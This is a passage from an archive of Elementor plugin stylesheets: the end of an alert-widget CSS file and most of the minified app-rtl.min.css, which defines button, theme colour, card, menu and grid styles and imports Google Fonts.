svg{width:var(--dismiss-icon-size,20px);height:var(--dismiss-icon-size,20px);fill:var(--dismiss-icon-normal-color,currentColor);transition-duration:var(--dismiss-icon-hover-transition-duration,.3s)}.elementor-alert button.elementor-alert-dismiss svg:hover{fill:var(--dismiss-icon-hover-color,currentColor)}.elementor-alert-info .elementor-alert{color:#31708f;background-color:#d9edf7;border-color:#bcdff1}.elementor-alert-success .elementor-alert{color:#3c763d;background-color:#dff0d8;border-color:#cae6be}.elementor-alert-warning .elementor-alert{color:#8a6d3b;background-color:#fcf8e3;border-color:#f9f0c3}.elementor-alert-danger .elementor-alert{color:#a94442;background-color:#f2dede;border-color:#e8c4c4}@media (max-width:767px){.elementor-alert{padding:10px}.elementor-alert button.elementor-alert-dismiss{right:7px;top:7px}}assets/css/app-rtl.min.css000064400000233714147206604650011535 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ @import "//fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&display=swap";@import "//fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&display=swap";@import "//fonts.googleapis.com/css2?family=Source%20Serif%20Pro&display=swap";.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}@media screen and (min-width:480px){.text-start-sm{text-align:start}}@media screen and (min-width:480px){.text-center-sm{text-align:center}}@media screen and (min-width:480px){.text-end-sm{text-align:end}}@media screen and (min-width:768px){.text-start-md{text-align:start}}@media screen and (min-width:768px){.text-center-md{text-align:center}}@media screen and (min-width:768px){.text-end-md{text-align:end}}@media screen and (min-width:1025px){.text-start-lg{text-align:start}}@media screen and (min-width:1025px){.text-center-lg{text-align:center}}@media screen and (min-width:1025px){.text-end-lg{text-align:end}}@media screen and (min-width:1440px){.text-start-xl{text-align:start}}@media screen and (min-width:1440px){.text-center-xl{text-align:center}}@media screen and (min-width:1440px){.text-end-xl{text-align:end}}@media screen and (min-width:1600px){.text-start-xxl{text-align:start}}@media screen and (min-width:1600px){.text-center-xxl{text-align:center}}@media screen and (min-width:1600px){.text-end-xxl{text-align:end}}@keyframes eps-animation-pop{0%{transform:scale(.75);opacity:0}to{transform:scale(1);opacity:1}}.eps-button{display:inline-flex;--button-line-height:16px;--button-padding-y:0.5em;--button-padding-x:1.5em;--button-primary-background-color:#f3bafd;--button-primary-hover-background-color:#f5d0fe;--button-primary-active-background-color:#f3bafd;--button-primary-color:#0c0d0e;--button-secondary-background-color:#69727d;--button-secondary-hover-background-color:#525961;--button-secondary-active-background-color:#3a3f46;--button-secondary-color:#fff;--button-danger-background-color:#dc2626;--button-danger-hover-background-color:#b21d1d;--button-danger-active-background-color:#861616;--button-danger-color:#fff;--button-cta-background-color:#93003f;--button-cta-hover-background-color:#600029;--button-cta-active-background-color:#2d0013;--button-cta-color:#fff;--button-brand-background-color:#93003f;--button-brand-hover-background-color:#600029;--button-brand-active-background-color:#2d0013;--button-brand-color:#fff;--button-link-background-color:#515962;--button-link-hover-background-color:#3a4046;--button-link-active-background-color:#23262a;--button-link-color:#fff;--button-disabled-background-color:#d5d8dc;--button-disabled-hover-background-color:#b9bec5;--button-disabled-active-background-color:#9da4ae;--button-disabled-color:#fff;color:var(--button-background-color,currentColor);font-size:var(--button-font-size,inherit);font-weight:500;line-height:var(--button-line-height);transition:var(--e-a-transition-hover);cursor:pointer}.eps-button:active{--button-background-color:var(--button-active-background-color,transparent)}.eps-button:hover{--button-background-color:var(--button-hover-background-color)}.eps-theme-dark .eps-button{--button-primary-background-color:#f3bafd;--button-primary-color:#0c0d0e;--button-primary-hover-background-color:#eb8efb;--button-primary-active-background-color:#f3bafd;--button-secondary-background-color:#babfc5;--button-secondary-color:#fff;--button-secondary-hover-background-color:#9ea5ae;--button-secondary-active-background-color:#838c96;--button-cta-background-color:#93003f;--button-cta-hover-background-color:#600029;--button-cta-active-background-color:#2d0013;--button-cta-color:#fff;--button-brand-hover-background-color:#600029;--button-brand-active-background-color:#2d0013;--button-brand-color:#fff;--button-brand-background-color:#93003f;--button-link-background-color:#515962;--button-link-hover-background-color:#3a4046;--button-link-active-background-color:#23262a;--button-link-color:#fff;--button-disabled-background-color:#69727d;--button-disabled-hover-background-color:#525961;--button-disabled-active-background-color:#3a3f46;--button-disabled-color:#fff}.eps-button--contained{padding:var(--button-padding-y) var(--button-padding-x);background-color:var(--button-background-color,transparent);border:1px solid var(--button-background-color)}.eps-button--contained,.eps-button--contained:hover{color:var(--button-color)}.eps-button--outlined{display:block;padding:var(--button-padding-y) var(--button-padding-x);border:1px solid var(--button-background-color)}.eps-button--contained,.eps-button--outlined{border-radius:.1875rem}.eps-button--underlined{text-decoration:underline}.eps-button--sm{--button-font-size:0.75rem;--button-line-height:14px}.eps-button--lg{--button-font-size:0.9375rem;--button-line-height:18px}.eps-button--primary{--button-color:var(--button-primary-color);--button-background-color:var(--button-primary-background-color);--button-hover-background-color:var(--button-primary-hover-background-color);--button-active-background-color:var(--button-primary-active-background-color)}.eps-button--secondary{--button-color:var(--button-secondary-color);--button-background-color:var(--button-secondary-background-color);--button-hover-background-color:var(--button-secondary-hover-background-color);--button-active-background-color:var(--button-secondary-active-background-color)}.eps-button--danger{--button-color:var(--button-danger-color);--button-background-color:var(--button-danger-background-color);--button-hover-background-color:var(--button-danger-hover-background-color);--button-active-background-color:var(--button-danger-active-background-color)}.eps-button--cta{--button-color:var(--button-brand-color);--button-background-color:var(--button-cta-background-color);--button-hover-background-color:var(--button-cta-hover-background-color);--button-active-background-color:var(--button-cta-active-background-color)}.eps-button--brand{--button-color:var(--button-cta-color);--button-background-color:var(--button-cta-background-color);--button-hover-background-color:var(--button-cta-hover-background-color);--button-active-background-color:var(--button-cta-active-background-color)}.eps-button--link{--button-color:var(--button-link-color);--button-background-color:var(--button-link-background-color);--button-hover-background-color:var(--button-link-hover-background-color);--button-active-background-color:var(--button-link-active-background-color)}.eps-button--disabled,.eps-button[disabled]{--button-color:var(--button-disabled-color);--button-background-color:var(--button-disabled-background-color);--button-hover-background-color:var(--button-disabled-hover-background-color);--button-active-background-color:var(--button-disabled-active-background-color);cursor:default}:root{--app-background-color:#fff;--app-box-shadow-color:rgba(var(--box-shadow-color,rgba(0,0,0,0.15)),0.2);--app-header-color:#1f2124;--app-logo-color:#fff;--app-logo-background-color:#0c0d0e;--app-title-color:#0c0d0e;--app-header-buttons-separator-color:#9da5ae;--app-header-buttons-color:#515962;--app-header-buttons-color-hover:#0c0d0e;--app-lightbox-background-color:rgba(0,0,0,0.8)}.eps-theme-dark{--app-background-color:#1f2124;--app-box-shadow-color:rgba(var(--box-shadow-color,rgba(0,0,0,0.15)),0.2);--app-header-color:#d5d8dc;--app-logo-color:#0c0d0e;--app-logo-background-color:#fff;--app-title-color:#fff;--app-header-buttons-separator-color:#818a96;--app-header-buttons-color:#babfc5;--app-header-buttons-color-hover:#9da5ae;--app-lightbox-background-color:rgba(0,0,0,0.8)}:root{--text-muted:#babfc5;--disabled:#d5d8dc;--accent:#f3bafd;--primary:#93003f;--primary-bg:#fae8ff;--secondary:#515962;--info:#2563eb;--info-bg:#f0f7ff;--danger:#dc2626;--danger-bg:#fef1f4;--success:#0a875a;--success-bg:#f2fdf5;--warning:#f59e0b;--warning-bg:#fffbeb;--body-color:#515962;--body-bg:#fff;--link-color:#515962;--link-hover-color:#2e3338;--hr-color:#e6e8ea;--box-shadow-color:theme-colors(dark);--display-1-color:#515962;--display-2-color:#515962;--display-3-color:#515962;--display-4-color:#515962;--h1-color:#515962;--h2-color:#515962;--h3-color:#515962;--h4-color:#515962;--h5-color:#515962;--h6-color:#515962;--text-base-color:#515962;--text-xl-color:#515962;--text-lg-color:#515962;--text-sm-color:#515962;--text-xs-color:#515962;--text-xxs-color:#515962}.eps-theme-dark,:root{--light:#fff;--dark:#000;--cta:#93003f;--brand:#93003f;--gray-900:#0c0d0e;--gray-800:#1f2124;--gray-750:#2b2c31;--gray-725:#333438;--gray-700:#3f444b;--gray-600:#515962;--gray-500:#69727d;--gray-400:#818a96;--gray-300:#9da5ae;--gray-200:#babfc5;--gray-100:#d5d8dc;--gray-75:#e6e8ea;--gray-50:#f1f2f3;--gray-25:#f9fafa}.eps-theme-dark{--text-muted:#818a96;--disabled:#69727d;--accent:#524cff;--success:#39b54a;--success-bg:#032317;--info:#07c;--info-bg:#0a1a3d;--warning:#fcb92c;--warning-bg:#311808;--danger:#f84343;--danger-bg:#390a0a;--body-color:#babfc5;--body-bg:#1f2124;--link-color:#07c;--link-hover-color:#2e3338;--hr-color:#333438;--box-shadow-color:rgba(0,0,0,0.15);--display-1-color:#babfc5;--display-2-color:#babfc5;--display-3-color:#babfc5;--display-4-color:#babfc5;--h1-color:#babfc5;--h2-color:#babfc5;--h3-color:#babfc5;--h4-color:#babfc5;--h5-color:#babfc5;--h6-color:#babfc5;--text-base-color:#babfc5;--text-xl-color:#babfc5;--text-lg-color:#babfc5;--text-sm-color:#babfc5;--text-xs-color:#babfc5;--text-xxs-color:#babfc5}*,:after,:before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;font-size:.875rem;font-weight:400;line-height:1.5;color:var(--body-color);background-color:var(--body-bg)}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}h1,h2,h3,h4,h5,h6{font-size:100%;margin:0;padding:0;line-height:inherit;font-weight:400}p{margin-block-start:0}b,strong{font-weight:700}small{font-size:80%}a{--eps-link-color:$eps-link-color;color:var(--eps-link-color);background-color:transparent}a,a:active,a:focus,a:hover{text-decoration:none}a:focus,a:hover{--eps-link-color:$eps-link-hover-color}a:not([href]),a:not([href]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:0}img{border-style:none}img,svg{vertical-align:middle}svg{overflow:hidden}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button;-moz-appearance:button;appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}[hidden]{display:none!important}hr{border:0;border-block-end:1px solid var(--hr-color)}.eps-display-1{color:var(--display-1-color)}.eps-display-1,.eps-display-2{font-size:1.85rem;margin-block-start:.5rem;margin-block-end:.5rem}.eps-display-2{color:var(--display-2-color)}.eps-display-3{font-size:1.85rem;color:var(--display-3-color);margin-block-start:0;margin-block-end:1.25rem}.eps-display-4{font-size:1.85rem;color:var(--display-4-color);margin-block-start:.5rem;margin-block-end:.5rem}.eps-h1,h1{font-size:1.625rem;line-height:1;color:var(--h1-color);margin-block-end:1.25rem;font-weight:500}.eps-h2,h2{font-size:1.25rem;color:var(--h2-color);margin-block-end:1.25rem}.eps-h2,.eps-h3,h2,h3{line-height:1.2;margin-block-start:0;font-weight:500}.eps-h3,h3{font-size:1rem;color:var(--h3-color);margin-block-end:.5rem}.eps-h4,h4{font-size:.9375rem;color:var(--h4-color)}.eps-h4,.eps-h5,h4,h5{margin-block-start:0;margin-block-end:.5rem}.eps-h5,h5{font-size:.875rem;color:var(--h5-color)}.eps-h6,h6{font-size:.875rem;color:var(--h-6-color);margin-block-start:0;margin-block-end:.5rem;font-weight:700}.eps-text-xxs{line-height:1.2;color:var(--text-xxs-color)}.eps-text-xs,.eps-text-xxs{font-size:.75rem;font-weight:400}.eps-text-xs{line-height:1.5;color:var(--text-xs-color)}.eps-text{font-size:.875rem;color:var(--text-base-color)}.eps-text,.eps-text-sm{line-height:1.5;font-weight:400}.eps-text-sm{font-size:.8125rem;color:var(--text-sm-color)}.eps-text-lg{font-size:.9375rem;color:var(--text-lg-color)}.eps-text-lg,.eps-text-xl{line-height:1.5;font-weight:400}.eps-text-xl{font-size:1rem;color:var(--text-xl-color)}.video-wrapper{position:relative;padding-block-end:56.25%;height:0}.video-wrapper iframe{position:absolute;top:0;right:0;width:100%;height:100%}.eps-separator{margin-block-end:2.75rem}.eps-theme-dark{--e-app-back-button-color:#babfc5}.back-button,.e-app-back-button{--button-background-color:var(--e-app-back-button-color,#69727d);margin-block-end:1.5rem}.back-button .eps-icon,.e-app-back-button .eps-icon{margin-inline-end:.3125rem}.eps-theme-dark{--input-border-color:--hr-color}.eps-input{border:1px solid var(--hr-color);border-radius:.1875rem;background:transparent;color:inherit;height:1.875rem;padding:0 .3125rem}.eps-input--block{width:100%}.eps-app{display:flex;height:100vh;flex-direction:column;color:var(--body-color);background-color:var(--app-background-color);position:absolute;border-radius:0;box-shadow:2px 8px 23px 3px var(--color-box-shadow-color);overflow:hidden;font-family:Roboto,Arial,Helvetica,Verdana,sans-serif;width:100%;max-width:100%}.eps-app__lightbox{display:flex;align-items:center;justify-content:center;position:fixed;height:100%;width:100%;background-color:var(--app-lightbox-background-color);z-index:1040;bottom:0;right:0}.eps-app__header{flex-shrink:0;font-size:.9375rem;border-block-end:var(--e-a-border);position:relative;z-index:3;height:3.125rem;padding-block:0;padding-inline:1rem}.eps-app__header-buttons{display:flex;align-items:center;flex-direction:row-reverse;font-size:1.125rem}.eps-app__header-btn{padding-inline-start:1rem;font-size:1.125rem;line-height:1.25rem}.eps-app__header-btn:hover{color:var(--app-header-buttons-color-hover)}.eps-app__header-btn:first-child{border-inline-start:1px solid var(--app-header-buttons-separator-color)}.eps-app__header-btn:not(:first-child){padding-inline-end:1rem}.eps-app__logo-title-wrapper{display:flex;align-items:center}.eps-app__logo{display:block;width:1.75rem;height:1.75rem;line-height:1.75rem;text-align:center;font-size:calc(.4 * 1.75rem);border-radius:50%;color:var(--app-logo-color);background-color:var(--app-logo-background-color)}.eps-app__logo:not(:last-child){margin-inline-end:.625rem}.eps-app__title{color:var(--app-title-color);font-size:.9375rem;font-weight:700;text-transform:uppercase;margin-block-end:0}.eps-app__main{display:flex;overflow:hidden;flex-grow:1}.eps-app__sidebar{background-color:var(--app-sidebar-background-color);padding-block-start:1.25rem;width:30%;max-width:17.1875rem;border-inline-end:var(--e-a-border);flex-grow:0;overflow-y:auto;z-index:4}.eps-app__content{flex-grow:1;position:relative;padding:2.75rem;height:100%;overflow-y:auto}.e-app-upload-file__input{display:none}.e-app-drop-zone{--e-app-drop-zone-text-color:#69727d;--e-app-drop-zone-secondary-text-color:#515962}.e-app-drop-zone__icon{margin-block-end:2.75rem;font-size:60px}.e-app-drop-zone__text{color:var(--e-app-drop-zone-text-color)}.e-app-drop-zone__secondary-text{color:var(--e-app-drop-zone-secondary-text-color)}.eps-theme-dark .e-app-drop-zone{--e-app-drop-zone-text-color:#babfc5;--e-app-drop-zone-secondary-text-color:#d5d8dc}:root{--info-toggle-color:#9da5ae;--info-toggle-hover-color:#69727d}.eps-theme-dark{--placeholder-filter:invert(0.8) sepia(1) saturate(0.2) hue-rotate(180deg) contrast(1.25) brightness(1.2);--info-toggle-color:#818a96;--info-toggle-hover-color:#babfc5}.e-site-part .eps-card__image{filter:var(--placeholder-filter,none)}.e-site-part__info-toggle{color:var(--info-toggle-color)}.e-site-part__info-toggle:hover{--info-toggle-color:var(--info-toggle-hover-color)}.e-site-editor__header{margin-block-end:2.75rem;border-block-end:1px solid var(--hr-color)}:root{--e-elementor-loader-color:#fff;--e-elementor-loader-wrapper-color:#f9fafa;--e-elementor-loader-box-color:#e6e8ea}.eps-theme-dark{--e-elementor-loader-color:#1f2124;--e-elementor-loader-wrapper-color:#2b2c31;--e-elementor-loader-box-color:#3f444b}.elementor-loading{background-color:var(--e-elementor-loader-color);height:100vh}.elementor-loader-wrapper{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);width:300px;display:flex;flex-direction:column;align-items:center;gap:30px}.elementor-loader{border-radius:50%;padding:40px;height:150px;width:150px;background-color:var(--e-elementor-loader-wrapper-color);box-sizing:border-box;box-shadow:2px 2px 20px 4px rgba(0,0,0,.02)}.elementor-loader-boxes{height:100%;width:100%;position:relative}.elementor-loader-box{position:absolute;background-color:var(--e-elementor-loader-box-color);animation:load 1.8s linear infinite}.elementor-loader-box:first-of-type{width:20%;height:100%;right:0;top:0}.elementor-loader-box:not(:first-of-type){left:0;height:20%;width:60%}.elementor-loader-box:nth-of-type(2){top:0;animation-delay:calc(1.8s / 4 * -1)}.elementor-loader-box:nth-of-type(3){top:40%;animation-delay:calc(1.8s / 4 * -2)}.elementor-loader-box:nth-of-type(4){bottom:0;animation-delay:calc(1.8s / 4 * -3)}.elementor-loading-title{color:#9da5ae;text-align:center;text-transform:uppercase;letter-spacing:7px;text-indent:7px;font-size:10px;width:100%}@keyframes load{0%{opacity:.3}50%{opacity:1}to{opacity:.3}}.eps-menu__title{margin-block-start:2.75rem;margin-block-end:1rem}.e-app-import{--e-app-import-back-to-library-color:#69727d;padding-block-end:1.25rem}.e-app-import__drop-zone{margin-block-start:1.25rem}.e-app-import__back-to-library{color:var(--e-app-import-back-to-library-color);margin-block-end:1.5rem}.e-app-import__back-to-library>i{margin-inline-end:.5rem}.eps-theme-dark .e-app-import{--e-app-import-back-to-library-color:#babfc5}.e-site-editor__promotion-overlay__link{display:flex;width:100%;height:100%;align-items:center;justify-content:center;flex-direction:column;text-decoration:none}.e-site-editor__promotion-overlay__icon{font-size:1.25rem;color:#fff;margin-block-end:1rem}.e-app-import-export-wizard-step{--e-app-import-export-wizard-step-icon-color:#818a96;--e-app-import-export-wizard-step-text-color:#69727d;--e-app-import-export-wizard-step-block-end-text-color:#69727d;height:100%;position:relative;text-align:center}.e-app-import-export-wizard-step__media-container{height:140px;margin:5.5rem 0 2.75rem}.e-app-import-export-wizard-step__icon{color:var(--e-app-import-export-wizard-step-icon-color);font-size:50px}.e-app-import-export-wizard-step__icon.eicon-loading{font-size:1.85rem}.e-app-import-export-wizard-step__heading{margin-block-end:1.5rem}.e-app-import-export-wizard-step__description,.e-app-import-export-wizard-step__info{color:var(--e-app-import-export-wizard-step-text-color)}.e-app-import-export-wizard-step__info{margin-block-start:1.5rem}.e-app-import-export-wizard-step__content{text-align:initial;margin-block-end:1.25rem}.e-app-import-export-wizard-step__notice{display:block;position:sticky;top:100%;color:var(--e-app-import-export-wizard-step-block-end-text-color);font-style:italic;margin-block-end:0}.eps-theme-dark .e-app-import-export-wizard-step{--e-app-import-export-wizard-step-icon-color:#818a96;--e-app-import-export-wizard-step-text-color:#babfc5;--e-app-import-export-wizard-step-block-end-text-color:#babfc5}.e-app-import-export-page-header{--e-app-import-export-page-header-heading-color:#515962;--e-app-import-export-page-header-description-color:#69727d;margin-block-end:2.75rem}.e-app-import-export-page-header__content-wrapper{max-width:645px}.e-app-import-export-page-header__heading{color:var(--e-app-import-export-page-header-heading-color)}.e-app-import-export-page-header__description{color:var(--e-app-import-export-page-header-description-color);margin-block-start:1.25rem}.eps-theme-dark .e-app-import-export-page-header{--e-app-import-export-page-header-heading-color:#d5d8dc;--e-app-import-export-page-header-description-color:#d5d8dc}.e-app-wizard-footer{--e-app-wizard-footer-border-color:#e6e8ea;padding:.5rem}.e-app-wizard-footer__separator{border-block-start:1px solid var(--e-app-wizard-footer-border-color)}.eps-theme-dark .e-app-wizard-footer{--e-app-wizard-footer-border-color:#333438}.e-app-export-templates-features__locked{--e-app-export-templates-features-locked-color:#69727d;color:var(--e-app-export-templates-features-locked-color)}.eps-theme-dark .e-app-export-templates-features__locked{--e-app-export-templates-features-locked-color:#9da5ae}:root{--color-box-shadow-color:rgba(0,0,0,0.05)}.eps-theme-dark{--color-box-shadow-color:rgba(0,0,0,0.1)}:root{--card-background-color-hover:#fff;--card-border:1px solid #d5d8dc;--card-header-footer-border:1px solid var(--e-a-border-color);--card-header-footer-active-border:2px solid #babfc5;--card-headline-color:#515962;--card-figure-background-color:#babfc5;--card-image-overlay-background-color:rgba(0,0,0,0.2)}.eps-theme-dark{--card-background-color-hover:#2b2c31;--card-border:1px solid #333438;--card-header-footer-border:1px solid #333438;--card-header-footer-active-border:1px solid #1f2124;--card-headline-color:#d5d8dc;--card-figure-background-color:#3f444b;--card-image-overlay-background-color:rgba(63,68,75,0.5)}.eps-card{border:var(--card-border);border-radius:.1875rem;transition:.3s;font-size:.75rem}.eps-card__header{padding:.625rem;border-block-end:var(--card-header-footer-border);min-height:2.5rem;display:flex;align-items:center}.eps-card__header--padding{padding:var(--eps-card-header-padding)}.eps-card__headline{color:var(--card-headline-color);margin-block-end:0;font-weight:500;flex-grow:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.eps-card__body{padding:.625rem}.eps-card__body--padding{padding:var(--eps-card-body-padding)}.eps-card__figure{background-color:var(--card-figure-background-color);position:relative;padding-block-end:var(--card-image-aspect-ratio,95.6%);overflow:hidden;height:0}.eps-card__image{width:100%;-o-object-fit:contain;object-fit:contain;-o-object-position:top;object-position:top;position:absolute;top:0;right:0}.eps-card__image-overlay{position:absolute;top:0;background-color:var(--card-image-overlay-background-color);z-index:1;width:100%;height:100%;opacity:0;transition:.3s}.eps-card__image-overlay:hover{opacity:1}.eps-card__footer{padding:.625rem;border-block-start:var(--card-header-footer-border);font-size:.6875rem}.eps-card__footer--padding{padding:var(--eps-card-footer-padding)}:root{--menu-item-color:#515962;--menu-item-color-hover:#3f444b;--menu-item-color-active:#0c0d0e;--menu-item-background-color-hover:#f9fafa;--menu-item-background-color-active:#e6e8ea;--menu-item-action-button-color:#9da5ae}.eps-theme-dark{--menu-item-color:#d5d8dc;--menu-item-color-hover:#babfc5;--menu-item-color-active:#9da5ae;--menu-item-background-color-hover:#2b2c31;--menu-item-background-color-active:#333438;--menu-item-action-button-color:#818a96}.eps-menu-item{display:flex;align-items:center;position:relative;transition:.3s;--action-button-opacity:0}.eps-menu-item:before{content:"";display:block;position:absolute;top:0;right:0;height:100%;width:var(--menu-item-pointer-width);background-color:#0c0d0e}.eps-menu-item:hover:not(.eps-menu-item--active){background-color:var(--menu-item-background-color-hover);--action-button-opacity:1;--menu-item-color:var(--menu-item-color-hover);--eps-link-color:var(--menu-item-color-hover)}.eps-menu-item--active{background-color:var(--menu-item-background-color-active);--menu-item-color:var(--menu-item-color-active);--eps-link-color:var(--menu-item-color-active)}.eps-menu-item__link{padding:.5rem 1.875rem;min-height:2.75rem;font-size:.75rem;line-height:1.2;flex-grow:1;display:flex;align-items:center;color:var(--menu-item-color);--eps-link-color:var(--menu-item-color)}.eps-menu-item__link:not(:last-child){padding-inline-end:0}.eps-menu-item__link .eps-icon{font-size:1.125rem;margin-inline-end:.75rem}.eps-menu-item__action-button{opacity:var(--action-button-opacity);padding:.625rem;transition:.3s;margin-inline-end:1.25rem}.eps-menu-item--active{--menu-item-pointer-width:0.3125rem}.eps-grid-container{display:flex;flex-wrap:wrap;width:100%}.eps-grid-container--no-wrap{flex-wrap:nowrap}.eps-grid-container--wrap-reverse{flex-wrap:wrap-reverse}.eps-grid-container--spacing{--grid-row-gutter:calc(-1 * calc(var(--grid-spacing-gutter) * 0.625rem / 10));width:var(--grid-spacing-width);margin:var(--grid-row-gutter)}.eps-grid-container--spacing>.eps-grid-item{padding:var(--grid-spacing-gutter)}.eps-grid--direction-row{flex-direction:row}.eps-grid--direction-row-reverse{flex-direction:row-reverse}.eps-grid--direction-column{flex-direction:column}.eps-grid--direction-column-reverse{flex-direction:column-reverse}.eps-grid--justify-stretch{justify-content:stretch}.eps-grid--justify-start{justify-content:flex-start}.eps-grid--justify-center{justify-content:center}.eps-grid--justify-end{justify-content:flex-end}.eps-grid--justify-space-between{justify-content:space-between}.eps-grid--justify-space-around{justify-content:space-around}.eps-grid--justify-space-evenly{justify-content:space-evenly}.eps-grid--align-content-stretch{align-content:stretch}.eps-grid--align-content-start{align-content:flex-start}.eps-grid--align-content-center{align-content:center}.eps-grid--align-content-end{align-content:flex-end}.eps-grid--align-content-space-between{align-content:space-between}.eps-grid--align-items-start{align-items:flex-start}.eps-grid--align-items-center{align-items:center}.eps-grid--align-items-end{align-items:flex-end}.eps-grid--align-items-baseline{align-items:baseline}.eps-grid--align-items-stretch{align-items:stretch}.eps-grid-item--zero-min-width{min-width:0}@media screen and (min-width:480px){.eps-grid-item-sm{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:768px){.eps-grid-item-md{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1025px){.eps-grid-item-lg{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1440px){.eps-grid-item-xl{flex-grow:1;max-width:100%;flex-basis:0}}@media screen and (min-width:1600px){.eps-grid-item-xxl{flex-grow:1;max-width:100%;flex-basis:0}}.eps-grid-item-xs-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-xs-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-xs-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-xs-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-xs-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-xs-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-xs-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-xs-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-xs-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-xs-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-xs-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-xs-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}@media screen and (min-width:480px){.eps-grid-item-sm-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-sm-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-sm-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-sm-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-sm-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-sm-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-sm-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-sm-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-sm-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-sm-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-sm-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-sm-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:768px){.eps-grid-item-md-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-md-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 100%)}.eps-grid-item-md-3{flex-grow:0;max-width:calc(3 / 12 * 100%);flex-basis:calc(3 / 12 * 100%)}.eps-grid-item-md-4{flex-grow:0;max-width:calc(4 / 12 * 100%);flex-basis:calc(4 / 12 * 100%)}.eps-grid-item-md-5{flex-grow:0;max-width:calc(5 / 12 * 100%);flex-basis:calc(5 / 12 * 100%)}.eps-grid-item-md-6{flex-grow:0;max-width:calc(6 / 12 * 100%);flex-basis:calc(6 / 12 * 100%)}.eps-grid-item-md-7{flex-grow:0;max-width:calc(7 / 12 * 100%);flex-basis:calc(7 / 12 * 100%)}.eps-grid-item-md-8{flex-grow:0;max-width:calc(8 / 12 * 100%);flex-basis:calc(8 / 12 * 100%)}.eps-grid-item-md-9{flex-grow:0;max-width:calc(9 / 12 * 100%);flex-basis:calc(9 / 12 * 100%)}.eps-grid-item-md-10{flex-grow:0;max-width:calc(10 / 12 * 100%);flex-basis:calc(10 / 12 * 100%)}.eps-grid-item-md-11{flex-grow:0;max-width:calc(11 / 12 * 100%);flex-basis:calc(11 / 12 * 100%)}.eps-grid-item-md-12{flex-grow:0;max-width:calc(12 / 12 * 100%);flex-basis:calc(12 / 12 * 100%)}}@media screen and (min-width:1025px){.eps-grid-item-lg-1{flex-grow:0;max-width:calc(1 / 12 * 100%);flex-basis:calc(1 / 12 * 100%)}.eps-grid-item-lg-2{flex-grow:0;max-width:calc(2 / 12 * 100%);flex-basis:calc(2 / 12 * 